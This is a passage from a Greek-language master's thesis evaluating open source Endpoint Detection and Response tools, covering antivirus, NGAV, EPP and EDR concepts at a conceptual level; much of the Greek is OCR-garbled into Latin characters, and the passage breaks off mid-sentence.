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AHAQZH ZYTTPA®EA METANTYXIAKHZ EPFAZIAZ

O kaTwI uttoyeypappévog KwaTtdtrouAog Mewpylog, pe apiBud untpwou cscyb21014 @oitnthg
Tou lMpoypdauuarog Metamtuyiakwy Zmoudwyv «KYBEPNOAZDAAEIA» Tou TuRuatog
Mnxavikwyv MANPoYopPIKNAG Kal YTTOAOYIOTWY TNG ZX0ANS Mnxavikwy Tou

MavemoTnuiou AuTIKAG ATTIKAG, dNAWVW OTI:

«Eipal ouyypagéag autrg Tng AITAWMOTIKAG epyaciag pe TiTho “A§loAdynon Open Source
AOcswv oTo XWpo TnG TEXVoAoyiag End Point Detection and Response (EDR)”

Kal K&Be BorBeia TNV oTToia €iXa yIa TNV TTPOETOINACIA TNG €ival TTARPWG avayvwpIoPEVn Kal
Ava@QEPETAI ATNV EPyaaia.

Etriong, o1 61101EC TTNYEC ATTO TIG OTTOIEG €KAVA XpPrion OedouEVWY, 10wV A Aé€ewy, €iTe akpIBwGg
€iTE TTAPAPPACUEVEG, AVAPEPOVTAI OTO CUVOAS TOUG PE TTARPN avagpopd CTOUG OUYYPAPEIS, TOV
€KOOTIKO 0iKO 1 TO TTEPIOBIKO, GUUTTEPIAAUBAVOUEVWY KOl TWV TINYWYV TTOU, EVOEXOMEVWG,
xpnoiuotroinOnkav atd 1o diadikTtuo. ETriong, BeBaiwvw OTI auTr N epyacia £xel CUYYpPaQEi atrod
Méva ATTOKAEIOTIKG KAl ATTOTEAET TTPOTOV TTVEUUATIKAG IBIOKTNOIAg TOOO SIKAG KMou, 600 Kal ToU
I5pupaTog.

MapdaBacn TG avwTépw aKadNUAikAG Jou euBuvng atroTeAEl ouciwdn AGyo yia TNV avakAnon
TOU TITUXIiOU HOU»
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Evyopiotieg
H epyooia avtr anoterel 1o tedevtaio Prpa otnv tpocmdbela Lov Vo OAOKANPOG® avTO TOV KOKAO

OTOVOMV.

®o MBeha vo gvuyoploTio® Tov KOplo emPAémovia, ko Xmuvpidwve Ilamaysopyiov, yw v
vrooTNPEN KoL TNV KaBodynon Gov, oyt LOVO Katd T SLApKELN TNS CLYYPUENS TS EPYACiog, ALY Kot

K00’ OAn TN S1GPKELD TOV UETATTUYLOKOD TPOYPELLOTOC.

®a NBera emiong va evYOPIGTAC® WUTEP®S TN GLLVYO OV TOL EKAVE VTTOLOVT] KO T TOOLL LoV

OV Le oTEPNONKav Tov TEAeLTAiO EVALLIOT YPOVO Kol LE otnpiSave 6TV Tpoomdela pov.






NeplAnyn

Ta cOyypove TANPOEOPIKE CLGTALNTO ATEILOVVTOL atd Kivovvoug ko embécelg Oyl Lovo amd 1o
eEmTepkd 0AMG Kol amd TO €0MTEPIKO €vOC opyaviopov. H teyvoloyio otov Topéo g 0o@AAElng
TANPOPOPLOKAOY cLoTNUATEV £xel e€ehybel. Teyvohoyieg avayvmpiong, aviyvevong, TPOANYNG Kot
OTOKOTACTAONG o€ Tepimtmon emifeong €yovv avomtvoyfel. Ta ovyypova poviéda ac@dielog oOgv
TPOGTUTEVOVY HOVO OO YVOOTES OMEIRES, GALA S1BETOVY KOl VOMLOGUVT KOl UITOpovV va. avTiAneBoly
v vmopén véov anshav. Ot povtépveg emfécelc GuvOLALOVY TAPATAV® OO L0 TOPAOOGIUKES TEYVIKES
enibeomng Kat xpNoeomolohy o eEEIOIKELUEVO KMOKO Kol LEDOSEVUEVEG TEYVIKES Y10 VO TPOCTEAAGOVY
NV GULVO TOV TANPOQOPIKOY cuotnuatev. H vmapén evog avtukod mpoypaupoatog (Antivirus Software)
fomg va kpiveTon EMOPKNG, OTNV TEPITTMON EVOG TPOCOTIKOD VIOAOYIGTY], dEdOUEVOL OTL TO GUYYPOVA
antivirus éyovv avomtogel kamow vonuooHvn. LTy aepintmon OUMG ETUPIKMOY GLGTNUATOY, 1 XPNoN
TEYVOLOYLDV TTOL deV TEPLOPILETOL GTA Ta OPLaL AViXVELONG 10V OAAG EMEKTEIVETOL GTOV TOUEN TNG CLAAOYNG

avEALGN G TANPOPOPIDOV Kol ANYNG ATOPACE®Y gival LovOSPOLOC.

Xy epyooia yivetal (o GOVIOUN ovaQopd GTIG VTAPYOVOES TEXVOLOYIEC KOl TO YOPAKTIPIOTIKA
toug. Eotidlel oty teyvoroyia EDR, 1 omoia amotelel TNy mo dnpogiin avepyduevn Avor. Avaivel Tov
TPOTO OV AEITOLPYEL KOt TIG aVAYKES TOV €ELANPETEL. TN GLVEYEWD PE xpNoT AoYIopkoh e€opoimong
embécenv, emyeipeitol va a&loloyndel o Tpomog Kot o Pabudc amdKplong Kol EVIOTIGHOD TV EMOEcEDY
amo 115 volotaueveg Open Source Avoeig EDR. Avalntdte av ot vdpyovceg AVoelg givar aflomoTteg Kot
av o pmopovcav va ypnoyoronfody wg emayyeAnoTikn Avon. Emyyeipeiton enimiéov Kot pio cuykpion
LE TNV atO006T] TV EUTOPIKOV AVGEMV Y10 va. d1amioTmel o€ wo fabud pmopody vo cuykpldovv pe avTés,

Kot av 6o pmopovGaY Vo TIG AVTIKATAGTI|GOVY.
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1. To teyvoroywd tomio onuepa

2 QopETpa TOV GUYYXPOVOV TANPOPOPLIKAOV GUOTNUATOV LTAPYEL U GEPA TPOIOVIWV TOL
OTOYEVEL VO TPOGPEPOLY KABOAKN TTpocTacia, £yKapr €100TOINGCT), CUTOUATOTOINGT TV JLAOIKAGIMV Kot
YPIYopn amokatdotact tov wpoPAnuatoc. Ta mpoidvta avtd eved apywd Eekivnoay €xovtag dlakpttovg
POAOVG KOl GTOYEVOV GTI OVILETMIOT] GTOXEVUEVMV OVOYKADV, GNUEPH GE GTIG TEPITTACELS ELPAvIfovV

OAANAOKAALYY GTIG SQUVATOTNTES TOV TOPEYOVV.

H andéeoon mov Ba mapet évag opyaviopds, va mpopundevtel pdvo va Antivirus 1 8o, kataAn et oty
EMAOYTN Mo cuvolkng Avong evog MDR, kafopiletar oamd ndpa morlhovg Tapdyoviec. O TO GNUAVTIKOG
elvar 1 etapikn SakvfEPvnor, 0 GTPATNYIKOG TPOGOVATOMOUOG TToL £xel o, etarpeia. Katd cvvéneia, o
Kivouvog Tov €xel va dlayepLoTel 0 KUBE OpYaVIGHOG Kol TO picko mov givarl o€ Béomn va avordapet. To
péyebog ka1 moldTNTA TNG OUASAG TOV OVAALTOV ac@dielag mov dtabétel Ba kabopioel av pmopolv va
vrootnpiovv uo on-Premise Avon, N Ba mpotiundei wo Aoon mov Ba dwayepiletoan amd tov mapoyo.

Kowdg mapovopaoctig oe 6Aa avtd amotelel TAvVTo 0 OIKOVOLKOG TOPEYOVTOC.

1.1. Xvomuato Antivirus

To “mapadociaxd” Antivirus 21 (Legacy Antivirus) amotedet o Pootkd pmyavioud duvvog evog
GULGTHLATOC, OO TN GTIYUN TTOV EYIVE 1 EUPAVIOT] TOV TPOTOV 1OV KOl TOV TpOTov malware.
O 6pog 16¢ kar malware cuvimg xpnoioroteitatl EVOALAKTE, Ywpig ovTod va givat mOAVTE GMGTO.
To Malware givar évog 6pog oumpéra, Tov avaeipetal o Kabe €idog KakoBovlo Aoyiouikd aveEdptnra
TOV TPOTOL AglTovpyiog TOL, N TOL TPOTOL Tov petadidetal. O  10¢ eivar pio €01k KoTNyopPia,
Malware.Amotelel évo Kopupdtt kK®OKa T0 0moio ovamapdysTol, TPOcBETOVIAC TOV £0VTO TOL 6 GAA
npoypaupata. Ot 10i TpooKaAoLVTAL 6 VO TPOYPAUpHaTe, eKTEAOVVTOL Hall e ovTd Kot eEamADvVoVTaL
uéoa oo web sites, emails kot eEmtepikég povadeg diokwv.
‘Eva mpdypopupa antivirus dwoyepiletar tov kikAo {ong evog malware o téocepd frinoto
o TTopeumodion g e&dmimong Tov malware
o [Igpropiopdc Tov malware
o Amémepa 0moKATAGTACTG TNG Cnpiog

o [Tapéyel evnuéPmon 6T0 JLOYEIPLOTI KoL TO TEPLPEPIKA GVGTAUATA ACPOUAEING.
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‘Eva tomikd mpdypoupa Antivirus ypnowpomoist katd kovove tig akoiovbeg puebddovg yo
OVaYVOPIGEL [0l OTTEAT:

e Signature-Based Detection (Aviyvevon Bdogt vmoypapnc). Avayvopiler  yvootég omeinég
YPNOUYOTOIDOVTOG VITOYPAPEG TNG ameldng, onmg file hashes, command and control domains,
devbovoerg IP.

e Heuristic Detection (Awdyvowon ovopoliog otn cvprepupopd). Avayvopiler éva malware Baoet
Hog oLV 0o TNG N EMIKIVOLYNG GVUTEPLPOPE. AVTd emTpémel TV aviyvevon evog 0-day malware
10 dev Ba pmopovoe vo aviyveLvTel Le xpoT TOV VIOYPAP®V. Avixvevel éva 10 cuyKpivovtag
opotoTNTa TOL HE YVmoTovg 1006, E&etdlet detypata kdduka ovti yio oAOKANp TNV LITOYpaY|. Me
TOV TPOTO AVTO UITOPEL VO AvVaKOADYEL v 10 akOpa Kot oV BplokeTol KpuUPEVOG 6 AAAO KMOOWKO.

o Rootkit Detection: Avayvopilet éva malware aviyvedovtog omd T GOUTEPLPOPAE TOL OTL EMXEPEL
Vo amdKTNGoT SIKOLMUOTO OOYEIPLOTH GTO CVOTNUA. XVVABWOG TpaypoTonolEital pe cOyKplon
VIOYPOPAV. TE TO TPONYUEVO GUGTHUATO UTOPEL Vo yivel emiong pe aviyvevon Hooking 1 pe tov
éleyyo axepatdTNTaG TOV apyEi®V.

e Integrity scan—Aviyvevst oMoyéc oe opyeia,  kvpiog opyein GLOTAROTOG, TO OmOid

oNUaTod0TobV TV VITapEN KATO0G KOKOBOVANG dlepyaciag.

e Real-Time Detection: (Aviyvevon ce mpaypotikd ypovo).Entyeipei va avokadivyet 1o0vg  Malware
KAvOVTOaG avAALGT TOV opYEi®V TNV OGP TOL YiveTal TPOGTEANGT TOVG ard T0 cvotnua. Exiong
Kavel avilvon oe e€mtepikég uikdde diokov (USB CD-ROM) v dpa mov cuveEovtal 6To

GUGTN 0.

H amotedecpatikotnta tov antivirus ompiletar oto fabuod mov givar evnuepmpévn n fdon tov dote
va aviyvevoel o Malware. Xty mepintoon pog standalone eykatdotacng, n Paon tov mpoyplupatog
EVILEPMVETAL HOVO OO TNV OUAd E0IKOV OCQOAEING TOL GUYKEKPIUEVOD KOTOOKEVLOOTH. 2OV

OTOTELECLA, O YPOVOG AMOKPIONG GE [0 VEQ TPOTOTNTA EIVOL TEPLOPIGUEVOG,.

Xe gpevvd Tov TpaypotonomOnke omd to idpvpa Ponemon to 2018, dwmiotddnke 6T 0 apfudis TV
enrtoynuévev 0-day embécewv givar 4mhoociog tov aplBpod metvynuévov embécemv and yvootd
Malware.Eniong dwmotd@bnke 61t 10 mopadociakd Antivirus oamétvxe va avayvopicet to 57% tov
embécewv. [apola avtd 0 76% TV EMYEPNCEDV YPNCILOTOEL WG ADGT TPOOTOGING TO TAPUSOGLUKO

Antivirus.

Toa Next generation Antivirus (NGAV), amotehodv v e&EMEn tov mapadoctokov Firewall.
YXlomototvror kotd kavova 6to Cloud.Katd cuvénetd £xouv pikpég DTOAOYIOTIKEG OTOITNGELS OTIV TAEVPA

TOV OULVOUEVOD. YAOTTOOUVTOL YPHyopa, 0ol To udvo TTov amarteiton givol 1 yKotdotaon evog agent
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Kot €Q0VV UIKPO S1oEPIoTIKO KOGTOC, OEGOUEVOL OTL 1] EVIUEPWOGCT] TOV VTOYPUP®V YIVETOL ALTOUATO KO

dgv amalteiTo TOTKN VITOJOUN Yo TN daxeipion.

I v aviyvevon tov ansthodv ypnoomotovy Artificial Intelligence (Al), olydpiBuovg Machine

Learning (ML) xot unyavicpong amokatdotoong e enibeonc.

Ta NGAV umopodv va aviyvevdcovy malware tov omoiov 1 vroypaen gival dyvooTr, KAVOVTaG

xpion Machine Learning kot aviyvebovtag v mbavotnta Eva apyelo vo mepiéyel KakOPovio AoyioHKo.

Emm\éov pmopovv pe m ypnon Indicators of Compromise (10C) va avigvevoovv fileless malware ta
omoia to mapadoctakd Antivirus dev pmopet vo avtipetontiost. Xpnoorowovy threat intelligence, dote
va 0&loAoynoovy amd mov TPoEpyeTon v apyelo 1 po cuvoEsT), KOBMG KOl TI EMATAOCELS KOl TNV

EMKIVOLVOTNTA TOV OTEIMDV GTO TEPIPAAAOV.

1.2. Xvotmuato Endpoint Protection (EPP)

Toupwvo pe tov Gartner ¢ Endpoint Protection Platform (EPP) RAR3l opietan pior viomoinon
gykoteotnuévn og endpoint devices n onoia otoygdel vo amotpéyel kakOPovreg embéoelg mov otnpilovton
o™ aAAoimon apyeimv, 6TOV EVIOTIGUO KAKOBOLANG dPAGTNPLOTNTAG KOl GTNV TTOPOYN TOV EPYOULEiDV

MOTE VO, LTOPESEL VO GOGTN UG VO OVTILETOTICEL SuVaLKE TopoPLEcEC ACPAULELNS.

Q¢ Endpoints devices Bswpodpue kdbe puoikry cuokev| 1 omoia eival cuvdedepévn og va dikTvo

Ko puropel aAANAoemdpa pe Ghheg cuokevég 1 xprotes. [apadeiypata Endpoints arotedodv :

e  Xt00uoi Epyaciog

e  Servers
e Laptops
e  Tablets
e  Switches

o  Kwntd miepovd
e Routers

e  Switches

Ta, EPP mopovcialovv dtapopetikd eminedo mpudtntag kot toivmiokdtrag. H extloyn toug
e€aptatan omd to péyebog g eTapeiog Tov o TO YPNGUYLOTOGEL, TOV KivOuVOo OV £XEL VO OLOYELPLOTEL,

KoL 0V T0 TANPOoPopLakd cvotnua &xel TpdcPacn oto Internet.
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To EPP ypnoonolel Tov Topadoctokd Tpomo aviyvevong omAdy e T xp1on PAong pe vToypapEg
KakOPBovA®V Aoyiokdv. Anotedel 6T 0vGia, pio opdda dlopopeTik®my Software Kot teyvoloyudy ta omoio
dayepilovtol and Vv ioto koveora. Xe avtd mephapfavovtor Antivirus, Firewall, Host Based Intrusion

Detection System (HIDS) xou Data Loss Prevention System (DLP).
"Eva o0yypovo comuo EPP katd eAdyioto va mapéyet g €ng duvatdtnreg:

o Noa avtipetonilel kakofovAo Aoyiopuikod, yopig anapaitnto va faciletol otnv Bdorn vroypiemv
oV dlabéteL.

e Na aviyvedel DTorTn SpacTNPLOTNTA AVAADOVTOG T CUUTEPIPOPA THG SLOdIKAGTOC.

o No TopEyEl TPOGTUGIO Y10 TEXVIKEG EKUETAAAEVGNG YVOOTOV aduvaudy software kot tng
pvipng.

o  ExtéAeon avtoudtov eAéyy@v yio KakOPovAo AOYIGUIKO GE apyeio Kot 616KOoVG.

e Aviyvevon adlaymv o€ apyeiol CLGTAUOTOS OO KAKOBOVAO AOYIGLUKO.

o Avtépom amoudvmcn/dloypaen Tov KOKOBOLAOV AOYIGUIKOV.

o Avtoporo amokisiopd v end points mov éxovv deytel enibeon amd 1o VITOAOLTO diKTVO.

o Aviyvevel kan avtipeTonilel anonelpes va anevepyonombel o EPP agent.
[To mponypéva GLGTAUATO LTOPOVV VO TAPEXOLY EMTAEOV SUVOTOTNTES:

e Ylonowovvtot 6to Cloud wg Software as a Service (SaaS).Me tov 1pdmo avTd PETAKIVEITOL O
OTTOLTNGELG Y10 VITOAOYIGTIKY 1GYD KO 1] TOADTAOKOTNTA, TG AVAALGTC UG dpUsTNPLOTNTAG OTd
TO TOTKO GUGTNLO GTOV TTAPOYO.

o TIpayuatomoiel avtopatonomuévo “Whilte-Listing” to onoio cuvmpeitol and tov Tdpoyo.

o Tlapéyel mpocPacn o Sandboxes ( diktvokd 1 oto Cloud)

o T[lapéyet teyvikéc eEamdTnong Tov emTBEépEVOUL.

o [lapéyetl omopaKpLOUEVO EAEYYO KOl OTOUOKPVGUEVT] OTTOKOTAGTAGT TOL TPOPAUATOC LEGH TV
Kovoolag dtayeipiong.

o Xvvepydaleton pe third-party, community xau intelligence feeds
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Ew.1 — Mog aviyvevel éva EPP o amein

Measuring the effectiveness of remediation technologies and methodologies for insider threat, 2019
Sonali Chandel

To mo onuavtikd kopudtt og éva cdomua End Point givar n aviyvevon (Detection). To EPP e
xpron aebntmpov mov eival eykateotnuévol ota End Points, mapakoiovbel cuveydg Tig diepyacieg mov
ektelovvTal. Awabétel pia Paon vroypapdv amd yvootd, malware kot Tatéviec KakOBovAmy SlepyaciLmy,
Ue T omoieg ovykpivel Tig diepyacieg mov avaivel. To kvpidtepo epyareio givar to HIDS. To HIDS,
TPOYUATOTOIEL AVIXVELOT OMEILDV YPNCLOTOIOVTIOG [ BAcN YVOOT®V VIoypap®dv KokOBoviov
Aoywopkov(signature based detection) oAld kot pEAETOVTOC TNV OMOKAMON TNG  GLUTEPIPOPAS TOV
ovothiuatog (anomaly based detection) og cOykpion pe Vv “TLmIKN” TOL GLUTEPLPOPH. MTopei £t Kot
avayvopilel pio ogpd kakoBoviov gvepyeimv Ommg, amdnelpeg alhoinong apyeiov cvotiuotog(File
Integrity Monitoring), tn dnpovpyio vEmv Slepyacidv, TOV TEPUATIGUO VOUL®OV VANPECIOV, OTOTEPES

TPOGPacng oto cuoTHHATA Kot TEXVIKEG Privilege escalation.

H éykaipn aviyvevon tov aneli@v gival {0¢ T0 To GNUAVTIKO P 6TOV KOKAO TNG TPOGTAGILOG
evog end point.Ov evépyeieg mov Bo mpayuatomoosl o6umg 1o EPP givor e&icov onupaviikég 6101t
kaBopilovv TV ATOTELEGUATIKOTNTO TNE TPOOTACING Kot Tr 6Tafepdtnta Tov cuoTNUaTog O UNYAVIGUOC
npootaciag, eivol po vanpeoio Host Intrusion Prevention (HIPS).To HIPS ypnowonoiel wg gicodo ta

amoteréopata tov HIDS kot autdpato mpoylatomotel pia eVEPYELN Y10 VO OVTILETOTICEL TNV ATEIAT.

[Mopaderypo tov evépyeimv evog HIDS amotelet to Blacklist/Whitelist. Me tov tpomo avtod, £éva
KakOPBovAo apyeio 1 €va kakOBovdo Aoyiopikd amopovavetal, eunodilovtag to vo e&amiwbel o dAla
ovotiuaro. Blacklist/Whitelist propei va yivel kot 6t popen anayodpevong tpocfacns oe £va Site pe kokm

NuN.

To Sandboxing eivar pio GAAn puébodog pe v omoia £vo VITOTTO OPYEI0 UTOUOVAOVETAL MOTE M

CLUTEPLPOPA TOV VO, avorvBet, ywpic va £pbel oe emkovavia pe ta vrodoma cvotiuata. To sandbox eivat
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KOTO KavOVo, [0 EIKOVIKT UNyovi. XPTGILOTOLEL TEYVIKEG MOTE VO TEICEL TO KOKOPOVAO AOYIGUIKO, OTL
glvatl eLOIKO uNyavnue ®oTte vo eErevbepmael To Kakofovio @optio. To vmomto apyeio avaideTon 6TO
sandbox ka1 av damiotmbel 0Tt givar acparic, o xpnotg edomoteitol omd to EPP vo Eavakatefdoet to

apyeio.

Xmv ayopd, OdwatiBevror mdpa moAAég Avoelg EPP.Tnv mo onpavtiky mopovcio v £€yovv
n Microsoft (Microsoft Defender for End Point), n Crowed Strike (Falcon) kow np TrendMicro (Apex One
XDR).

1.3. Zvomuata Endpoint Detection and Response (EDR)

To EDRRALS moddéc popéc avapépetar wg Endpoint Detection and Threat Response (EDTR). Eivat éva
oOVOAO gpyoAciov acPAAElag, To, omoia, mapaKoAOVOOVLY GUVEX®DG TNV cLUTEPLPopd Tmv end point
OLOKEVADV, OTUOU®OV epyaciog, e OTOYO Vo aVTIOPAGOLY av JmeTOOel KOTowW amOKAMoN Ond N
cuvnOopéva cuuTePLPOPE. AVTO TPAYLOTOTOLEITOL LE TNV EYKATACTOOT VOGS agent 6Toug LVITOAOYIGTEG M

TPOYUATOTOLOVTOG avaAven ota nueporoyia cvpfavtov( log files) twv otabudv € epyaciag.

Toupava. pe o optopud mov £xel dwael to Gartner,Endpoint Detection and Response Solution( EDR)
opietar  m Avon m omoio KoToypagel kol amodnkedEl CLUTEPIPOPEG OE EMIMEDO GLOTNUOTOG, KOl
xpnoonotel  dpopeg uEH0d0HG avaivomg ded0UEVMVY, LE GTOYO VO OVIXVEDGEL DITOTTEC GUUTEPIPOPES
TOV GUGTAUATOC, VO, TOPACKEL CUUTAYT TANPOPOPNGT], VO OTOTPETEL TNV KAKOBOLAN dpacTnploOTNTa. Kot

TapEYEL TPOTAGEIC OMOKATAGTACNG EVOG TPOPANUATOG.

Piyvovtég po pdtio oto mwivaxa Capabilities of Gartner Adaptive Security Architecture topatnpodpue
ot1 t0 EDR eomidlel xvpiowg otov Topéo NG Oviyvevuong TEPICTATIKMOV KOl TOV TOUEN OVIHLETMTIONG

TEPLOTATIKDV:
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Predict Prevent

Proactive Exposure Analysis Harden and Isolate Systems

Predict Attacks Divert Attackers

Prevent

Baseline
> Incidents

Systems

Detect

Remediate/
Make Change Incidents
Design/Model Change Confirm and
Prioritize Risk
Investigate/ ® Contain
Forensics 5 Incidents
Respond Detect

Gartner Capabilities of Adaptive Security Architecture (May 2014)

Ew.2 - Capabilities of Gartner Adaptive Security Architecture

Mo viomoinon EDR mpénet va mapéyel kat’ ehdyioto Tic akoAovbeg SuvatoTnTEG !

No vioBetei Tpolnmtikd UeTpd dote vo PelTidvel TV ac@aieia gvog end-point vo. aviyvedet
cvothuata Tov gpeavifovv gumdleleg Ady® AoyiGukoD oL dgv gival evnUeEpP®UEVO 1| EAATTONG
TOPOUETPOTOINGNG TOV GUCTHLATOG.

No pmopet v aviyvedoel Kot vo, SIEPEVVNCEL TEPLGTATIKA T VTOJEIKVOOVY TNV Thav Vrapén
KokOBovAov Aoyiopukov oto end point.

Noa amopovaver To. endpoint  mov gppavifovy TpdPAnua GoTe va TEPIOPIcEL TNV EKTOCT TNG
OTEIANG.

Na dievepyel eAEyyovg MOTE VO SMIGTOGEL TV EKTAGT] TOL TPOPANLOTOG.

No aviyvevel To TEPIGTATIKA OCPOUAEING.

Na dwayepileTon TEPIOTATIKA AGPAAELOS.

Na epropilet To TpdPAnua oo end point.

No mapéyel foreio 0T AmoKATAGTOCT TOV TPOPAUATOC,

Na dwtnpet tic mAnpogopieg forensic(logs, emails) ywa 6co ypovo kabopiler n vopobesio N M
TOALTIKT] 0CQUAELNG.

Noa oyedialet éva oyedlo avaKouyng Kol vo uropel va dteEdyel emtomieg £PEVVEG Y10 YVOGTONS
EVOEIKTEC OMEIADV.

Kobopiopog Kot amoKatdetost ToV GUGTHLOTOC.

Ymv ayopd avi T oTiyun, vadpyovy Avcelc EDR amd apketod KoTooKELAOGTES:

CISCO (FireAMP)
CounterTack
CrowdStirke
Cylance

Dtext Systems
FireEye(Mandiant)
LogRythm
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e RSA (EMC)

To EDR ocvileyei minpogopieg amd to end-point pe ) Ponbeia evdc agent mov elvan
gykoteotuévog oto end-point. O agent mapakolovBei to end-point kot Kotoypopsi O eg TIg
dpaotnprotteg Tov. Me 10 TpdMO awTd eKmadevETAL Kot dnpovpyei pa baseline, onAaon pobaivel mowa

givar 1 PUGLOAOYIKT GLUTEPLPOPE TOV end-point.

Y1 ovvéyela pe ) xprion User and entity Behavioral Analysis (UEBA) evtontiovv «avdpoin
oLUTEPIPOPA» OTav euPavifeTor amdxkion omd TN cvvnbicuéva copmeptpopd. o mapdderypo Evog
¥PNOTNG GLVNOILE VO GUVOEETOL GTO GUGTN U CUYKEKPIUEVEG DPEG KOl OO GLYKEKPIUEVO Site TG eTanpeiag.
Av domiotobei 0TL aAAGLoVV 01 Dpeg TOL GUVIEETAL Kol TO Site 0td TO 0moio GVVIEETAL, OVTO WIToPEl va
gyeipet éva alert. To UEBA ypnowonotel machine learning aiyopifuovg kot otatiotikn avaivon yio vo

EVTOTIGEL TNV OTOKAIOT Kol VO atopavOEl av TPOKELTOL Y10 ATTEAT 1] O)L.

O Agent mapaxorovbei ocuvvéyswa to end-point avolver Tig dpaoTNPOTNTEC KOl GTEAVEL

mAnpoeopiec oto. Dashboards tng kovooAag :

O Agent aviyvevel TEPMTMOCES UN omoKAivovoag ocuumepipopdc. [Iponyuévor aAydpibuot

OTTOTVTIMVOLYV TIG VANPECIEC KOl TIG OLEPYUGIEC 01 OTOlEg £Y0VV eKTELECTEL G d1dpKeL TNG emifeong.

[Ipaypotomotleital pio amekdéVIoN TOV ATOTVTMVEL TNV OAANAOVYI0 TOV YEYOVOT®V amd TNV apyn|

LEYPL TO TELOG:

‘Evoag security analyst déyetor gidomoinomn kat avolappdaver dpdon yoo ThV amnoKaTdoTooT TOV
TPOPAIATOG.

Ta EDR éyovv d10popeTikég SuvatoOTNTEG. TN MO OTAY] VAOTOINGT TOVG UTOPEL Vo 6TEIAOVY TO
event og éva ovotnua Security Information Event Management (SIEM) 1o omoio 6o to ene&epyaotei
emmAéov ko Bo ONUOVPYNCEL LI EIOOTOINGT YKL TOV OVOAVTY. X€ AAAEG TEPUTTOCELS, TO GUGTILLO TAPEYEL
duVaATOTNTA GTOV OVOAVTY, VO EKTELECEL EVTOAEG Ol OTTOIEG EMAVOPEPOLY TO GUGTILO GTNV TPOTNYOVUEVN
10V katdotaon. ['a mopdderypo ™ doypagr evoc KAeW100 g registry mov £xst dnpovpyndei amd tov
eMTIOEUEVO. ZE O DPYLEG VAOTOUGELC, TO GVOTN U UTOPEL VO TAPEL ATOPAGELS LLOVO TOV, foctlouevo og

TPOKOTACKEVAGUEVOVC Kavoves. [Tapddetyua, va omokAeioet pia dievbovvon I.P.

ITo mponyuéva cvotiuata EDR, ypnoiuonotodv otov topén tov eviomiopov tov ansiddv (Threat
Hunting) wo emmAéov nyn Threat Intelligence.To the Adversarial Tactics, Techniques, and Common
Knowledge (ATT&CK) project mov 1o vmoompilet 1 MITRE, évag pun kepdockomikdc opyaviouodg, mov
TPOYLLOTOTOLEL EPEVVEC GTO TOUEN TNG ACPAAELNG TANPOPOPLOKDV GUOTNUATOV Kol cuvepyaleTal e

KuBépvnon tov Hvouévev IoAtteidv.
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To ATT&CK eivan pia Bdon dedopévav kot £va TAaicto, To omoio £yl avomtuybei faciopuévo ot

UEAETT] EKATOUUDPLO TPOYUATIKOV KVOPEPVOETIOEGEDV.

To ATT&CK, katnyopromoiel Tig kuPepvoometléc, BAcEL S0pOp®mY KPITHPLOV, OTMS TOV TOIO TOL
GULOTNLOTOC, TIG EVTADEIEG TOV EKUETAAAEDHOVTOL, TO, EPYOAEID TTOV YPTOIULOTOIOVVIAL, TIS OUAOEG TOL
oyetiCovton pe Tig embéoeig. O otdyog ival 1 avoyvapion LoTIBmV oV Topapévouy avalioimta g Kabe
enifeon. [Hopdtt o1 embécelg dapopomotovvtal, o EDR £€xel v evevia va avayvopicel av pio Kown

GLUTEPLPOPA VPIGTATOL.

Toa EDR pmopei vo. viomombovv oe popeny Software as a service (SaaS), kot on premises otnv
nepinT®on evog d1kTHoL To 0Toio dev dlabétel chvdeo pe to Internet, dnwg yio Tapddety Lol To GTPATIOTIKA
diktua. To cuykpiTikd TAEOVEKTNA piag DAOTOINoNG SaasS etvat o PKpOTEPOG OLOYEIPLOTIKOG POPTOC, KAl
n dvvatotnta va ypnotpomotovvtar Indicators of Compromise (10C) kou Indicators of Attack (I0A) oz

aoOnpec oto Internet yio va aviyvevtel o amein.

1 o

Step 1 Step 2 Step 3

An EDR agent Behavioral analysis to Detects and reports

is installed connect activities malicious activity
e [
Step 4 Step s Step 6
Algorithms identify Data points pri d Analyst: iew alerts
breach point into narrow categories and information

Ew.3 - Ilog Aerrovpysi o EDR, purplesec.us/endpoint-detection-response

1.4. Aweopég EPP xoau EDR

To EPP gaivetat vo amotelel pia ioyvpr) Aon oty aoedieio twv End Point Devices. TTapovoidlet dpmg

Kot EAPETIKEG 0dVVALIES TOV TO KOB1GTOUV TPOPANUATIKO GE OPICUEVES TEPITTOCELS.

H “dvvaun” g aviyvevong toug mnydlet amd  PAoT e TIG VTOYPUPES YVOOTOV onell®mV. H dtactavpmon
OUMG HL0G VTOYPOENG omantel LEYAAN VTOAOYIOTIKT oYY, 1 omoia avéavel 6co peyeBovetar n faomn. To
TpoPAnua avtd pmopel va avipetomotel ypnotponoidvtag Aoelg Cloud, okavdapovtag dniadn to
oLOTNUO HEGH TOV TapOYoL, amd To Internet.H cuvdesyotnto oto Internet amoteAei tpotimdbeomn kot yio
dAlec vnpeoieg tov EPP 6nwg to Sandboxing kot to DLP. EmumAéov to Internet ypeidletan yioo mv
avavémon TV vIoypaemv kot TV avaviémon tov software.H cuvdeootnta pe to Internet, dev eivon

dedopEVN Yoo TOALODGC OPYAVIGHOVS, T.Y. OTPUTIOTIKG dikTva. XTNV TEPITTOON OUTH 1 AVAVEDGCT TOV
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VIOYPAPOV Ko ToL Software, umopet va yiver pa o, pikpn kabvotépnon, offline.Ot vanpesieg Sandboxing

ka1 DLP, ouwc dev Ba Aettovpynoouy.

Emmléov 10 060016 embécemv pe ypnon fileless malware éyel avénbel evivrwoiakd to tehevtoio
ypovia. Mia épgvva ov d1e&nxOn amd to Idpvpa Ponemon to 2018, avédeiEe 0t to 77% TmV EMTUYNUEVOV
emféoewv o€ opyavicpovg mpaypatoromOnke pe xprion fileless malware.Ze avtifeon pe ta Ttopadociokd
malware, o emtifépuevog dev ypeldleTol va eyKOTAOTNOEL YPOUUEG KOOIKO GTO GLGTNHO TOL HOUTOG.
EmmAéov ta fileless malware extedodvror 6N pviun Tov cGLGTHUATOC, Kat dev agrivovy ixvn. o avtd o
AOYy0 givar dvokoAo va avivevtodv amnd éve EPP.Ta EPP mov evompotmdvouv dvvatdmrag NGAV,
Umopohv Kol avTIHETOTILovy T0 TPOPANUE. AVTO OU®G OEV 10YVEL GTNV TEPIMTMON OV OEV VITAPYEL

ovvodeon ue to Internet.

To peyardtepo mpofinua tov EPP eivar 6TL dev umopodv va avTUeT®@RiGouy T0 TPOPANUe TNG
eowtepkNg aneing (insiders).To EPP &ivot Oswpeitar Aoon proactive. Enyeipei va aviyvedoet o omeiin

TPV OVTY| UTEL OTO SIKTLO.

To EDR eivar o Avom reactive.Ilapakolovfei coveydg Tig mANPOoQopiec Tov SIKTLOVL Kot
